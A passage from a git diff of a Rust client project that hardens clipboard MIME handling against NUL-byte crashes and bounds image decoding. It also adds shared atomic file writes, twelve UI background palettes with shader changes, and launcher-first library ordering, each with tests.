reported"); + assert!( + reported.contains("blocked.json"), + "the report names the store: {reported}" + ); + // No scratch file left behind by the failed attempt. + assert!(!temp_sibling(&blocked).exists()); + + // And a later success clears it, so the UI stops warning once the store recovers. + write_atomic(&ok, b"{\"a\":2}").unwrap(); + assert_eq!(store_health::last_error(), None); + assert_eq!(std::fs::read_to_string(&ok).unwrap(), "{\"a\":2}"); + let _ = std::fs::remove_dir_all(&dir); } } diff --git a/crates/pf-client-core/src/update.rs b/crates/pf-client-core/src/update.rs index b33d9cb3..6962b154 100644 --- a/crates/pf-client-core/src/update.rs +++ b/crates/pf-client-core/src/update.rs @@ -270,7 +270,11 @@ fn load_floor(path: &Path, channel: &str) -> u64 { .unwrap_or(0) } -/// Raise (never lower) the floor; atomic tmp+rename so a power cut can't half-write it. +/// Raise (never lower) the floor, through the crate's one config writer — this used to +/// hand-roll its own tmp+rename, which meant it neither cleaned up its temp on a failed +/// rename nor picked up [`crate::trust::write_atomic`]'s in-place fallback, so on an install +/// where the rename cannot work the floor silently never rose and a declined update came +/// back forever. fn store_floor(path: &Path, channel: &str, serial: u64) { let mut file: FloorFile = std::fs::read(path) .ok() @@ -287,10 +291,7 @@ fn store_floor(path: &Path, channel: &str, serial: u64) { if let Some(dir) = path.parent() { let _ = std::fs::create_dir_all(dir); } - let tmp = path.with_extension("json.tmp"); - if std::fs::write(&tmp, &bytes).is_ok() { - let _ = std::fs::rename(&tmp, path); - } + let _ = crate::trust::write_atomic(path, &bytes); } // ---------------------------------------------------------------- check diff --git a/crates/pf-clipboard/src/host.rs b/crates/pf-clipboard/src/host.rs index fab86bba..f7988005 100644 --- a/crates/pf-clipboard/src/host.rs +++ b/crates/pf-clipboard/src/host.rs @@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> { out } +/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument. +/// +/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the +/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type. +/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does. +#[cfg(target_os = "linux")] +fn valid_passthrough_mime(m: &str) -> bool { + let Some((ty, rest)) = m.split_once('/') else { + return false; + }; + !ty.is_empty() + && !rest.is_empty() + && m.len() <= 255 + // 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and + // any non-ASCII byte. + && m.bytes().all(|b| (0x21..=0x7E).contains(&b)) +} + /// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME /// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain` /// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only). @@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec { WIRE_PNG => push("image/png"), WIRE_JPEG => push("image/jpeg"), WIRE_GIF => push("image/gif"), - other => push(other), + // A MIME we don't canonicalize is passed through verbatim — so it is the one value on + // this path the CLIENT fully controls, and it ends up as a Wayland string argument. + // The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it, + // so a single interior NUL turns one control message into a host clipboard panic + // (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so + // nothing upstream removes it. Validate here, at the boundary where the value stops + // being ours and becomes libwayland's. + other if valid_passthrough_mime(other) => push(other), + other => { + tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME"); + } } } // Synthesis: rich text without plain text → also advertise plain (the source derives it lazily). @@ -389,6 +417,38 @@ mod tests { assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]); } + /// One control message must not be able to panic the host clipboard coordinator + /// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a + /// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it. + #[test] + fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() { + // The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire. + assert!(!valid_passthrough_mime("image/webp\0")); + assert!(!valid_passthrough_mime("\0")); + assert!(!valid_passthrough_mime("image/\0webp")); + // Other control bytes and whitespace are refused for the same reason. + assert!(!valid_passthrough_mime("image/web\np")); + assert!(!valid_passthrough_mime("image/web p")); + assert!(!valid_passthrough_mime("image/web\tp")); + // Shapes that are not a MIME type at all. + assert!(!valid_passthrough_mime("")); + assert!(!valid_passthrough_mime("noslash")); + assert!(!valid_passthrough_mime("/nosubtype")); + assert!(!valid_passthrough_mime("notype/")); + assert!(!valid_passthrough_mime(&format!( + "image/{}", + "x".repeat(300) + ))); + // Legitimate uncanonicalized MIMEs still pass through. + assert!(valid_passthrough_mime("image/webp")); + assert!(valid_passthrough_mime("application/x-custom+json")); + assert!(valid_passthrough_mime("text/plain;charset=utf-8")); + + // End to end: the offer list is built without the malformed entry, and does not panic. + let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]); + assert_eq!(offers, vec!["image/png".to_string()]); + } + #[test] fn pick_wayland_mime_prefers_canonical() { let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()]; diff --git a/crates/pf-clipboard/src/host/winfmt.rs b/crates/pf-clipboard/src/host/winfmt.rs index 81f2de8c..cad78743 100644 --- a/crates/pf-clipboard/src/host/winfmt.rs +++ b/crates/pf-clipboard/src/host/winfmt.rs @@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] { /// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame. /// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste). pub fn image_to_dib(bytes: &[u8]) -> Option> { - let img = image::load_from_memory(bytes).ok()?; + // Bound the DECODE, not just the result. + // + // These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT + // limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the + // already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in + // full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05 + // review L-9). Limits applied here make the allocation refuse instead. + // + // The caps are the clipboard's own contract expressed up front: the same 32767 per side that + // is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest + // representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive. + let mut limits = image::Limits::default(); + limits.max_image_width = Some(32767); + limits.max_image_height = Some(32767); + limits.max_alloc = Some(256 * 1024 * 1024); + let reader = image::ImageReader::new(std::io::Cursor::new(bytes)) + .with_guessed_format() + .ok()?; + let mut reader = reader; + reader.limits(limits); + let img = reader.decode().ok()?; let rgba = img.to_rgba8(); let (w, h) = (rgba.width() as usize, rgba.height() as usize); if w == 0 || h == 0 || w > 32767 || h > 32767 { diff --git a/crates/pf-console-ui/src/glyphs.rs b/crates/pf-console-ui/src/glyphs.rs index 72422b44..fa224355 100644 --- a/crates/pf-console-ui/src/glyphs.rs +++ b/crates/pf-console-ui/src/glyphs.rs @@ -5,9 +5,9 @@ //! no pad at all the legend swaps to keyboard keycaps — the console stays fully //! drivable either way. -use crate::theme::{white, Fonts, W}; +use crate::theme::{fg, Fonts, W}; use punktfunk_core::config::GamepadPref; -use skia_safe::{Canvas, Color4f, Paint, Path, Point, RRect, Rect}; +use skia_safe::{Canvas, Paint, Path, Point, RRect, Rect}; #[derive(Clone, Copy, PartialEq, Eq, Debug)] pub(crate) enum GlyphStyle { @@ -94,13 +94,13 @@ pub(crate) fn hint_bar( let rect = Rect::from_xywh((x) as f32, (bottom - h) as f32, w as f32, h as f32); canvas.draw_rrect( RRect::new_rect_xy(rect, (h / 2.0) as f32, (h / 2.0) as f32), - &Paint::new(Color4f::new(0.0, 0.0, 0.0, 0.30), None), + &Paint::new(crate::theme::shade(0.30), None), ); canvas.draw_rrect( RRect::new_rect_xy(rect, (h / 2.0) as f32, (h / 2.0) as f32), - &Paint::new(white(0.06), None), + &Paint::new(fg(0.06), None), ); - let mut sp = Paint::new(white(0.12), None); + let mut sp = Paint::new(fg(0.12), None); sp.set_style(skia_safe::PaintStyle::Stroke); sp.set_stroke_width(1.0); sp.set_anti_alias(true); @@ -122,7 +122,7 @@ pub(crate) fn hint_bar( cy + LABEL_SIZE * k * 0.36, W::SemiBold, LABEL_SIZE * k, - white(0.85), + fg(0.85), ); pen += lw + gap_hint; } @@ -199,8 +199,8 @@ fn draw_glyph( Resolved::Badge(face) => { let r = BADGE_D * k / 2.0; let center = Point::new((x + r) as f32, cy as f32); - canvas.draw_circle(center, r as f32, &Paint::new(white(0.10), None)); - let mut ring = Paint::new(white(0.32), None); + canvas.draw_circle(center, r as f32, &Paint::new(fg(0.10), None)); + let mut ring = Paint::new(fg(0.32), None); ring.set_style(skia_safe::PaintStyle::Stroke); ring.set_stroke_width((1.2 * k) as f32); ring.set_anti_alias(true); @@ -223,7 +223,7 @@ fn draw_glyph( cy + size * 0.36, W::SemiBold, size, - white(0.92), + fg(0.92), ); } } @@ -235,7 +235,7 @@ fn draw_glyph( let rect = Rect::from_xywh(pen as f32, (cy - h / 2.0) as f32, w as f32, h as f32); canvas.draw_rrect( RRect::new_rect_xy(rect, (4.0 * k) as f32, (4.0 * k) as f32), - &Paint::new(white(0.10), None), + &Paint::new(fg(0.10), None), ); let size = 10.0 * k; let tw = fonts.measure(label, W::SemiBold, size) as f64; @@ -246,7 +246,7 @@ fn draw_glyph( cy + size * 0.36, W::SemiBold, size, - white(0.92), + fg(0.92), ); pen += w + 3.0 * k; } @@ -257,7 +257,7 @@ fn draw_glyph( let (cx, cyf) = ((x + r) as f32, cy as f32); let (tw, th) = ((4.5 * k) as f32, (5.5 * k) as f32); let gap = (2.6 * k) as f32; - let paint = Paint::new(white(0.85), None); + let paint = Paint::new(fg(0.85), None); let mut left = Path::new(); left.move_to((cx - gap, cyf - th)); left.line_to((cx - gap - tw, cyf)); @@ -277,9 +277,9 @@ fn draw_glyph( let rect = Rect::from_xywh(x as f32, (cy - h / 2.0) as f32, w as f32, h as f32); canvas.draw_rrect( RRect::new_rect_xy(rect, (5.0 * k) as f32, (5.0 * k) as f32), - &Paint::new(white(0.10), None), + &Paint::new(fg(0.10), None), ); - let mut ring = Paint::new(white(0.28), None); + let mut ring = Paint::new(fg(0.28), None); ring.set_style(skia_safe::PaintStyle::Stroke); ring.set_stroke_width(1.0); ring.set_anti_alias(true); @@ -296,7 +296,7 @@ fn draw_glyph( cy + size * 0.36, W::SemiBold, size, - white(0.92), + fg(0.92), ); } } @@ -305,7 +305,7 @@ fn draw_glyph( /// The PlayStation face shapes, stroked inside the badge: Confirm=✕, Back=○, X-position /// =□, Y-position=△ (the DualSense's physical layout). fn draw_ps_shape(canvas: &Canvas, face: Face, center: Point, r: f32, stroke: f32) { - let mut p = Paint::new(white(0.92), None); + let mut p = Paint::new(fg(0.92), None); p.set_style(skia_safe::PaintStyle::Stroke); p.set_stroke_width(stroke); p.set_stroke_cap(skia_safe::PaintCap::Round); diff --git a/crates/pf-console-ui/src/library.rs b/crates/pf-console-ui/src/library.rs index d74fec31..53158e13 100644 --- a/crates/pf-console-ui/src/library.rs +++ b/crates/pf-console-ui/src/library.rs @@ -203,17 +203,237 @@ pub const MESH_INTERIOR: [(f64, f64, f64, f64, f64, f64); 4] = [ (0.667, 0.667, 0.12, 0.047, 0.061, 5.0), ]; -/// The mesh gradient as SkSL, palette + motion baked into the source (only time and -/// resolution are uniforms). A smooth bicubic blend of the 16 colours — a separable +// --- Background palettes ------------------------------------------------------------------- + +/// One background colour family for the gamepad UI's living backdrop. +/// +/// A palette is a short ordered ramp of [`Palette::stops`] — several DISTINCT hues, not one hue +/// at several brightnesses. The 4×4 mesh samples that ramp diagonally with a per-cell offset +/// ([`CELL_RAMP`]), so neighbouring cells land on different parts of it and the colours pool and +/// swirl the way a real gradient poster does; the interior points' existing domain warp then +/// drifts those pools around. An earlier version rotated ONE field's hue per palette, which is +/// why every non-default palette read as flat and monotone. +/// +/// A palette also owns the UI it sits under: [`Palette::accent`] is the focus wash / selected +/// pill / switch colour, and [`Palette::light`] flips the ink (see [`crate::theme::Ink`]) so a +/// pale field gets dark text instead of white. The Apple and Android clients carry the same +/// table under the same ids, so one `ui_palette` value is one look everywhere. +pub struct Palette { + /// The stored `ui_palette` value (see `trust::Settings::ui_palette`). + pub id: &'static str, + /// What the settings row shows. + pub name: &'static str, + /// The colour ramp, dark end first. `None` = use [`MESH_COLORS`] verbatim (the brand + /// default, kept bit-identical to what every install already sees). + pub stops: Option<&'static [(f64, f64, f64)]>, + /// The field's ground — what the corners settle onto and what the calm mix lifts toward. + pub ground: (f64, f64, f64), + /// The UI accent: focus wash, selected tab pill, switch track, caret. + pub accent: (f64, f64, f64), + /// A pale field: the UI flips to dark ink and the legibility scrims go white. + pub light: bool, +} + +/// Where each of the 16 mesh cells samples the ramp. The base is the diagonal +/// `0.5·(x + y)` — top-left is the ramp's dark end, bottom-right its bright one, like both +/// reference gradients — and the per-cell nudges break the banding that a pure diagonal would +/// give, so hues pool instead of striping. +#[rustfmt::skip] +const CELL_RAMP: [f64; 16] = [ + 0.10, -0.06, 0.04, -0.12, + -0.08, 0.14, -0.10, 0.06, + 0.06, -0.12, 0.16, -0.04, + -0.10, 0.08, -0.06, 0.12, +]; + +/// The twelve shipped palettes: the brand default, five more dark fields, then six pale ones. +/// Cycling order runs dark → light, so stepping the row walks the whole range in one direction. +/// Adding one here adds it to every console settings screen; the Apple and Android tables must +/// gain the same entry to keep the `ui_palette` key portable. +#[rustfmt::skip] +pub const PALETTES: [Palette; 12] = [ + // --- dark fields (white ink) --- + Palette { + id: "violet", name: "Violet", stops: None, + ground: (0.075, 0.060, 0.160), accent: (0.525, 0.471, 0.961), light: false, + }, + Palette { + // Deep indigo climbing through violet into a hot magenta. + id: "nebula", name: "Nebula", + stops: Some(&[ + (0.07, 0.05, 0.20), (0.26, 0.14, 0.54), (0.52, 0.20, 0.72), + (0.82, 0.26, 0.62), (0.98, 0.46, 0.68), + ]), + ground: (0.055, 0.040, 0.135), accent: (0.95, 0.42, 0.72), light: false, + }, + Palette { + // Ink-blue water: teal → cerulean → a violet undertow. + id: "abyss", name: "Abyss", + stops: Some(&[ + (0.02, 0.10, 0.17), (0.04, 0.28, 0.42), (0.07, 0.46, 0.63), + (0.16, 0.38, 0.78), (0.26, 0.22, 0.58), + ]), + ground: (0.018, 0.070, 0.130), accent: (0.26, 0.76, 0.92), light: false, + }, + Palette { + // Banked coals: plum embers → crimson → burnt orange → gold. + id: "ember", name: "Ember", + stops: Some(&[ + (0.16, 0.03, 0.10), (0.45, 0.06, 0.12), (0.72, 0.18, 0.06), + (0.90, 0.42, 0.08), (0.95, 0.68, 0.18), + ]), + ground: (0.090, 0.035, 0.040), accent: (0.98, 0.62, 0.26), light: false, + }, + Palette { + // Forest floor into moss and a lime break. + id: "moss", name: "Moss", + stops: Some(&[ + (0.03, 0.11, 0.09), (0.06, 0.27, 0.20), (0.09, 0.45, 0.31), + (0.28, 0.61, 0.28), (0.58, 0.77, 0.31), + ]), + ground: (0.025, 0.085, 0.070), accent: (0.48, 0.86, 0.46), light: false, + }, + Palette { + // Neutral, but never flat: barely-there saturation that still travels from a cool + // charcoal to a warm stone, so even the restrained option has somewhere to go. + id: "graphite", name: "Graphite", + stops: Some(&[ + (0.06, 0.07, 0.11), (0.15, 0.18, 0.25), (0.30, 0.31, 0.35), + (0.45, 0.42, 0.38), (0.60, 0.56, 0.49), + ]), + ground: (0.055, 0.055, 0.070), accent: (0.78, 0.80, 0.86), light: false, + }, + // --- pale fields (dark ink) --- + Palette { + // The holographic foil: rose → lilac → periwinkle → aqua, with a white bloom. + id: "holo", name: "Holo", + stops: Some(&[ + (0.99, 0.72, 0.90), (0.80, 0.60, 0.98), (0.58, 0.62, 0.99), + (0.55, 0.86, 0.98), (0.94, 0.98, 1.00), + ]), + ground: (0.96, 0.92, 0.99), accent: (0.42, 0.28, 0.86), light: true, + }, + Palette { + // The poster sunset: periwinkle → magenta → scarlet → tangerine → gold. + id: "sunset", name: "Sunset", + stops: Some(&[ + (0.55, 0.45, 0.92), (0.86, 0.31, 0.66), (0.97, 0.26, 0.34), + (0.99, 0.51, 0.18), (1.00, 0.80, 0.22), + ]), + ground: (0.98, 0.74, 0.34), accent: (0.64, 0.13, 0.44), light: true, + }, + Palette { + // Peach into blush and lilac — the softest of the set. + id: "bloom", name: "Bloom", + stops: Some(&[ + (1.00, 0.86, 0.72), (0.99, 0.73, 0.79), (0.95, 0.65, 0.89), + (0.82, 0.68, 0.96), (0.73, 0.79, 0.99), + ]), + ground: (0.99, 0.90, 0.89), accent: (0.72, 0.24, 0.55), light: true, + }, + Palette { + // First light: pale gold → coral → lilac. + id: "dawn", name: "Dawn", + stops: Some(&[ + (1.00, 0.92, 0.70), (1.00, 0.80, 0.62), (0.99, 0.66, 0.62), + (0.90, 0.62, 0.78), (0.77, 0.69, 0.95), + ]), + ground: (1.00, 0.93, 0.82), accent: (0.82, 0.33, 0.28), light: true, + }, + Palette { + // Sea glass: mint → aqua → a pale sky. + id: "mint", name: "Mint", + stops: Some(&[ + (0.82, 0.98, 0.90), (0.62, 0.94, 0.88), (0.55, 0.88, 0.95), + (0.63, 0.82, 0.99), (0.82, 0.87, 1.00), + ]), + ground: (0.90, 0.98, 0.96), accent: (0.04, 0.42, 0.40), light: true, + }, + Palette { + // Near-white, but iridescent rather than flat — rose, sky, mint and cream in turn. + id: "opal", name: "Opal", + stops: Some(&[ + (0.98, 0.92, 0.96), (0.87, 0.93, 0.99), (0.91, 0.99, 0.95), + (0.99, 0.96, 0.88), (0.94, 0.90, 0.99), + ]), + ground: (0.97, 0.96, 0.99), accent: (0.36, 0.32, 0.44), light: true, + }, +]; + +/// The palette stored under `id`, falling back to the brand default — an unknown name is a +/// palette a newer client shipped, not a reason to draw nothing. +pub fn palette(id: &str) -> &'static Palette { + PALETTES.iter().find(|p| p.id == id).unwrap_or(&PALETTES[0]) +} + +/// Sample an ordered colour ramp at `t` ∈ [0, 1] (linear between neighbouring stops). Ported +/// verbatim to Swift and Kotlin — keep the three copies in step or a palette drifts between +/// clients. +pub fn ramp(stops: &[(f64, f64, f64)], t: f64) -> (f64, f64, f64) { + match stops.len() { + 0 => (0.0, 0.0, 0.0), + 1 => stops[0], + n => { + let x = t.clamp(0.0, 1.0) * (n - 1) as f64; + let i = (x.floor() as usize).min(n - 2); + let f = x - i as f64; + let (a, b) = (stops[i], stops[i + 1]); + ( + a.0 + (b.0 - a.0) * f, + a.1 + (b.1 - a.1) * f, + a.2 + (b.2 - a.2) * f, + ) + } + } +} + +impl Palette { + /// The 16 mesh colours for this palette: the ramp sampled per cell (see [`CELL_RAMP`]), or + /// [`MESH_COLORS`] verbatim for the brand default. + pub fn mesh_colors(&self) -> [(f64, f64, f64); 16] { + let Some(stops) = self.stops else { + return MESH_COLORS; + }; + core::array::from_fn(|i| { + let (x, y) = ((i % 4) as f64 / 3.0, (i / 4) as f64 / 3.0); + ramp(stops, 0.5 * (x + y) + CELL_RAMP[i]) + }) + } + + /// Four drifting blob colours, for the clients that approximate the mesh with a blob field + /// (Android). Spread across the ramp so the field still shows several hues at once. + pub fn blob_colors(&self) -> [(f64, f64, f64); 4] { + let stops = self.stops.unwrap_or(&VIOLET_BLOBS); + core::array::from_fn(|i| ramp(stops, 0.15 + 0.25 * i as f64)) + } +} + +/// The brand default's blob ramp — the four colours the pre-palette Android/legacy-Apple field +/// used, kept so `violet` is unchanged there too. +const VIOLET_BLOBS: [(f64, f64, f64); 5] = [ + (0.53, 0.47, 0.96), + (0.24, 0.20, 0.72), + (0.62, 0.30, 0.80), + (0.22, 0.38, 0.86), + (0.53, 0.47, 0.96), +]; + +/// The mesh gradient as SkSL, palette + motion baked into the source (resolution, time and +/// the calm mix are uniforms). A smooth bicubic blend of the 16 colours — a separable /// cubic-Bézier basis in x then y, C∞ and edge-to-edge, the fragment-shader analogue of /// SwiftUI's `MeshGradient(smoothsColors: true)`. The four interior points drive a /// bounded (weighted-average) domain warp so the bright pools drift; then the whole field /// gets the ±8°/~5-min hue sway, an elliptical vignette, and the vertical legibility scrim, /// all matching the Swift `composite(at:)`. Runs on the GPU at full rate. -pub fn mesh_sksl() -> String { +/// +/// `u_tc.y` is the CALM mix, 0 → 1: at 1 the same living field is flattened toward its own +/// corner colour (`u_lift`), which is how the form screens (settings, add-host, pair) stay +/// restful while still drifting — the motion never changes speed, only the contrast, so the +/// crossfade between a launcher screen and a form screen can't make the field jump. +pub fn mesh_sksl(colors: &[(f64, f64, f64); 16]) -> String { // Colours as `float3(r, g, b)` literals, indices 0..15 (row-major 4×4). let c = |i: usize| { - let (r, g, b) = MESH_COLORS[i]; + let (r, g, b) = colors[i]; format!("float3({r}, {g}, {b})") }; // The four interior-point domain-warp accumulators. Displacement matches Swift `wob()`: @@ -224,14 +444,23 @@ pub fn mesh_sksl() -> String { warp.push_str(&format!( " q = uv - float2({bx}, {by});\n\ ww = exp(-dot(q, q) / (2.0 * 0.30 * 0.30));\n\ - d = float2({amp} * sin(u_t * {sx} + {ph}), \ - {amp} * cos(u_t * {sy} + {ph} * 1.3));\n\ + d = float2({amp} * sin(tt * {sx} + {ph}), \ + {amp} * cos(tt * {sy} + {ph} * 1.3));\n\ wsum += d * ww; wtot += ww;\n", )); } format!( "uniform float2 u_res;\n\ - uniform float u_t;\n\ + // x = seconds since the shell started, y = the calm mix (0 launcher, 1 form).\n\ + uniform float2 u_tc;\n\ + // rgb = the palette's corner colour scaled for the calm lift; a is unused (float4\n\ + // so the uniform block stays 16-byte aligned under any packing rule).\n\ + uniform float4 u_lift;\n\ + // rgb = what the vignette and scrims tend toward (black under a dark palette, white\n\ + // under a pale one — darkening a pastel field would strand the dark text on it), and\n\ + // a = how hard. A pale field needs far less: mixing toward white at the dark field's\n\ + // strength bleaches the chroma straight out of the gradient.\n\ + uniform float4 u_scrim;\n\ \n\ // Cubic-Bézier basis over four control values — the smooth 4-point blend per axis.\n\ float bz(float t, float a, float b, float c, float d) {{\n\ @@ -250,6 +479,7 @@ pub fn mesh_sksl() -> String { }}\n\ \n\ half4 main(float2 xy) {{\n\ + \x20 float tt = u_tc.x; float calm = u_tc.y;\n\ \x20 float2 uv = xy / u_res;\n\ \x20 // Interior control points wander → bounded domain warp (pools follow them).\n\ \x20 float2 wsum = float2(0.0); float wtot = 0.0; float2 q; float ww; float2 d;\n\ @@ -263,19 +493,27 @@ pub fn mesh_sksl() -> String { \x20 float3 r3 = bz3(uv.x, {c12}, {c13}, {c14}, {c15});\n\ \x20 float3 col = bz3(uv.y, r0, r1, r2, r3);\n\ \n\ - \x20 col = hue(col, sin(u_t * 0.021) * 0.1396263);\n\ + \x20 col = hue(col, sin(tt * 0.021) * 0.1396263);\n\ + \n\ + \x20 // Calm: flatten the field toward its own corner colour — the pools dim and the\n\ + \x20 // corners lift, so a form screen keeps real colour under its glass rows while\n\ + \x20 // losing the launcher's contrast. Motion is untouched (see the doc comment).\n\ + \x20 col = mix(col, col * 0.60 + u_lift.rgb, calm);\n\ \n\ \x20 // Elliptical vignette: clear at r=0.25 → black·0.42 at r=1.15 (aspect-fit ellipse).\n\ + \x20 // Halved under calm: a launcher's cards sit in the pooled centre, but a form\n\ + \x20 // screen's rows run out toward the edges, where crushing to black just eats them.\n\ \x20 float2 e = (xy / u_res - 0.5) * 2.0;\n\ - \x20 float vig = clamp((length(e) - 0.25) / 0.90, 0.0, 1.0) * 0.42;\n\ - \x20 col *= 1.0 - vig;\n\ + \x20 float vig = clamp((length(e) - 0.25) / 0.90, 0.0, 1.0)\n\ + \x20 * mix(0.42, 0.21, calm) * u_scrim.a;\n\ + \x20 col = mix(col, u_scrim.rgb, vig);\n\ \n\ \x20 // Vertical legibility scrim: black 0.38/0.06/0.08/0.40 at 0/0.32/0.68/1.\n\ \x20 float v = xy.y / u_res.y;\n\ \x20 float s = v < 0.32 ? mix(0.38, 0.06, v / 0.32)\n\ \x20 : v < 0.68 ? mix(0.06, 0.08, (v - 0.32) / 0.36)\n\ \x20 : mix(0.08, 0.40, (v - 0.68) / 0.32);\n\ - \x20 col *= 1.0 - s;\n\ + \x20 col = mix(col, u_scrim.rgb, s * u_scrim.a);\n\ \n\ \x20 return half4(half3(col), 1.0);\n\ }}\n", @@ -306,6 +544,11 @@ pub struct LibraryGame { pub id: String, pub title: String, pub store: String, + /// This entry opens the launcher itself (Steam Big Picture, Heroic, Lutris) rather than a + /// title — design D4. The host's `role` field, already reduced to a boolean by + /// [`pf_client_core::library::GameEntry::is_launcher`] so the "anything that isn't + /// `launcher` is a game" rule lives in exactly one place. + pub launcher: bool, } struct Shared { @@ -341,7 +584,15 @@ impl LibraryShared { } /// Loaded games → the carousel (empty = the empty scene). + /// + /// **Launcher entries are moved to the front, keeping the host's title order within each + /// group.** Grouping here rather than in the renderer means the carousel's cursor arithmetic, + /// the art pump and every future consumer of this model all inherit the invariant for free — + /// a launcher tile is never buried in the middle of a 400-title shelf. pub fn set_games(&self, games: Vec) { + let mut games = games; + // `sort_by_key` is stable, so this is a partition that preserves the incoming order. + games.sort_by_key(|g| !g.launcher); let mut s = self.0.lock().unwrap(); s.phase = if games.is_empty() { LibraryPhase::Empty @@ -408,6 +659,52 @@ mod tests { assert_eq!(step_cursor(0, 0, 1, false), StepResult::Boundary); } + /// Design D4: launcher entries lead the shelf, and the host's title order survives within + /// each group. The renderer's `launcher_count()` reads the launcher group as the prefix + /// `0..n`, so an interleaved list would silently mislabel the group heading. + #[test] + fn set_games_groups_launchers_first_and_keeps_title_order() { + let g = |title: &str, launcher: bool| LibraryGame { + id: format!("steam:{title}"), + title: title.to_string(), + store: "steam".into(), + launcher, + }; + let shared = LibraryShared::default(); + shared.set_games(vec![ + g("Celeste", false), + g("Big Picture", true), + g("Portal 2", false), + g("Heroic", true), + ]); + let (phase, games, _) = shared.snapshot(); + assert!(matches!(phase, LibraryPhase::Ready)); + let titles: Vec<&str> = games.iter().map(|g| g.title.as_str()).collect(); + assert_eq!(titles, ["Big Picture", "Heroic", "Celeste", "Portal 2"]); + assert_eq!(games.iter().take_while(|g| g.launcher).count(), 2); + } + + /// A library with no launcher entries is untouched — the whole point of the grouping being + /// invisible until a plugin actually publishes a launcher tile. + #[test] + fn set_games_leaves_a_launcher_less_library_alone() { + let shared = LibraryShared::default(); + shared.set_games( + ["Celeste", "Portal 2", "Tunic"] + .iter() + .map(|t| LibraryGame { + id: format!("steam:{t}"), + title: (*t).to_string(), + store: "steam".into(), + launcher: false, + }) + .collect(), + ); + let (_, games, _) = shared.snapshot(); + let titles: Vec<&str> = games.iter().map(|g| g.title.as_str()).collect(); + assert_eq!(titles, ["Celeste", "Portal 2", "Tunic"]); + } + #[test] fn jump_clamps_onto_the_ends() { assert_eq!(step_cursor(1, 5, -JUMP, true), StepResult::Moved(0)); @@ -482,10 +779,139 @@ mod tests { /// 16 colours baked in, the five bicubic evals and four interior warp terms present). #[test] fn mesh_sksl_shape() { - let src = mesh_sksl(); + let src = mesh_sksl(&MESH_COLORS); assert!(src.matches("float3(").count() >= 16, "16 colours baked"); assert_eq!(src.matches("bz3(").count(), 6); // 1 definition + 5 call sites assert_eq!(src.matches("wtot +=").count(), 4); // one per interior point assert_eq!(src.matches('{').count(), src.matches('}').count()); } + + /// The brand default must still be the SHIPPED field, colour for colour. Every install + /// already sees it, and a palette table that quietly restyled the default would be a + /// regression dressed as a feature. + #[test] + fn violet_is_the_untouched_shipped_field() { + assert_eq!(PALETTES[0].id, "violet"); + assert!( + PALETTES[0].stops.is_none(), + "the default is the explicit grid" + ); + assert_eq!(palette("violet").mesh_colors(), MESH_COLORS); + // An unknown name is a newer client's palette, not an error. + assert_eq!(palette("chartreuse").id, "violet"); + assert_eq!(palette("").id, "violet"); + } + + /// Hue angle in degrees, or `None` for something too grey to have one. + fn hue(c: (f64, f64, f64)) -> Option { + let (r, g, b) = c; + let max = r.max(g).max(b); + let min = r.min(g).min(b); + let d = max - min; + if d < 0.04 { + return None; + } + let h = if max == r { + 60.0 * (((g - b) / d) % 6.0) + } else if max == g { + 60.0 * ((b - r) / d + 2.0) + } else { + 60.0 * ((r - g) / d + 4.0) + }; + Some((h + 360.0) % 360.0) + } + + /// A palette must read as SEVERAL hues, not one hue at several brightnesses — that was + /// exactly the complaint about the hue-rotation model this replaced. Measured as the + /// widest gap between any two of the 16 mesh colours' hue angles. + #[test] + fn every_palette_is_multi_tone() { + for p in &PALETTES { + let hues: Vec = p.mesh_colors().iter().filter_map(|c| hue(*c)).collect(); + assert!(hues.len() >= 8, "{}: too few coloured cells", p.id); + let spread = hues + .iter() + .flat_map(|a| { + hues.iter().map(move |b| { + let d = (a - b).abs() % 360.0; + d.min(360.0 - d) + }) + }) + .fold(0.0f64, f64::max); + // Graphite and Opal are deliberately near-neutral; everything else must carry a + // real hue journey. + let floor = if matches!(p.id, "graphite" | "opal") { + 20.0 + } else { + 45.0 + }; + assert!(spread >= floor, "{} spans only {spread:.0}° of hue", p.id); + } + } + + /// Ids, order and the light/dark split are the cross-client contract — the Apple and + /// Android tables must match this exactly. + #[test] + fn table_matches_the_other_clients() { + let ids: Vec<&str> = PALETTES.iter().map(|p| p.id).collect(); + assert_eq!( + ids, + [ + "violet", "nebula", "abyss", "ember", "moss", "graphite", "holo", "sunset", + "bloom", "dawn", "mint", "opal", + ] + ); + // Dark fields lead, pale ones follow, so stepping the row walks one direction. + let first_light = PALETTES + .iter() + .position(|p| p.light) + .expect("some are light"); + assert!(PALETTES[first_light..].iter().all(|p| p.light)); + assert_eq!(first_light, 6); + } + + /// Every colour a palette produces stays in gamut, and a pale palette really is pale — + /// its ink flips, so a mislabelled one would put dark text on a dark field. + #[test] + fn palettes_are_in_gamut_and_honest_about_lightness() { + let luma 